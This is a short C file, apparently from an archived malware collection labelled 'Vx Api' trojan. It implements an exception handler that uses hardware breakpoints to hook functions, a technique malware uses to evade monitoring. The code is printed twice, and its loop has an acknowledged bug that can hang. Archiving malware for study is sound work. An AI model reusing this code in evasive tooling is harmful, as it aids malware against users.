/* name Vx Api type trojan cve — year unknown os Windows authors unknown source krisyotam archived krisyotam (2026) notes — */#include "Win32Helper.h" LONG ExceptionHandlerCallbackRoutine(_In_ PEXCEPTION_POINTERS ExceptionInfo){ DESCRIPTOR_ENTRY *TempObject = { 0 }; BOOL bResolved = FALSE; if (ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) goto EXIT_ROUTINE; EnterCriticalSection(&CriticalSection); TempObject = Head; while (TempObject != NULL) { if (TempObject->Address == ExceptionInfo->ContextRecord->Rip) { if (TempObject->Tid != 0 && TempObject->Tid != GetCurrentThreadId()) //need to fix continue; if (TempObject->Dis) { if (!SetHardwareBreakpoint(GetCurrentThreadId(), TempObject->Address, TempObject->Position, FALSE)) goto EXIT_ROUTINE; } TempObject->CallbackRoutine(ExceptionInfo); if (TempObject->Dis) { if (!SetHardwareBreakpoint(GetCurrentThreadId(), TempObject->Address, TempObject->Position, TRUE)) goto EXIT_ROUTINE; } } TempObject = TempObject->Next; } LeaveCriticalSection(&CriticalSection); bResolved = TRUE; EXIT_ROUTINE: return (bResolved ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH);}
/*
name Vx Api
type trojan
cve —
year unknown
os Windows
authors unknown
source krisyotam
archived krisyotam (2026)
notes —
*/
#include "Win32Helper.h"
LONG ExceptionHandlerCallbackRoutine(_In_ PEXCEPTION_POINTERS ExceptionInfo)
{
DESCRIPTOR_ENTRY *TempObject = { 0 };
BOOL bResolved = FALSE;
if (ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
goto EXIT_ROUTINE;
EnterCriticalSection(&CriticalSection);
TempObject = Head;
while (TempObject != NULL)
{
if (TempObject->Address == ExceptionInfo->ContextRecord->Rip)
{
if (TempObject->Tid != 0 && TempObject->Tid != GetCurrentThreadId()) //need to fix
continue;
if (TempObject->Dis)
{
if (!SetHardwareBreakpoint(GetCurrentThreadId(), TempObject->Address, TempObject->Position, FALSE))
goto EXIT_ROUTINE;
}
TempObject->CallbackRoutine(ExceptionInfo);
if (TempObject->Dis)
{
if (!SetHardwareBreakpoint(GetCurrentThreadId(), TempObject->Address, TempObject->Position, TRUE))
goto EXIT_ROUTINE;
}
}
TempObject = TempObject->Next;
}
LeaveCriticalSection(&CriticalSection);
bResolved = TRUE;
EXIT_ROUTINE:
return (bResolved ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH);
}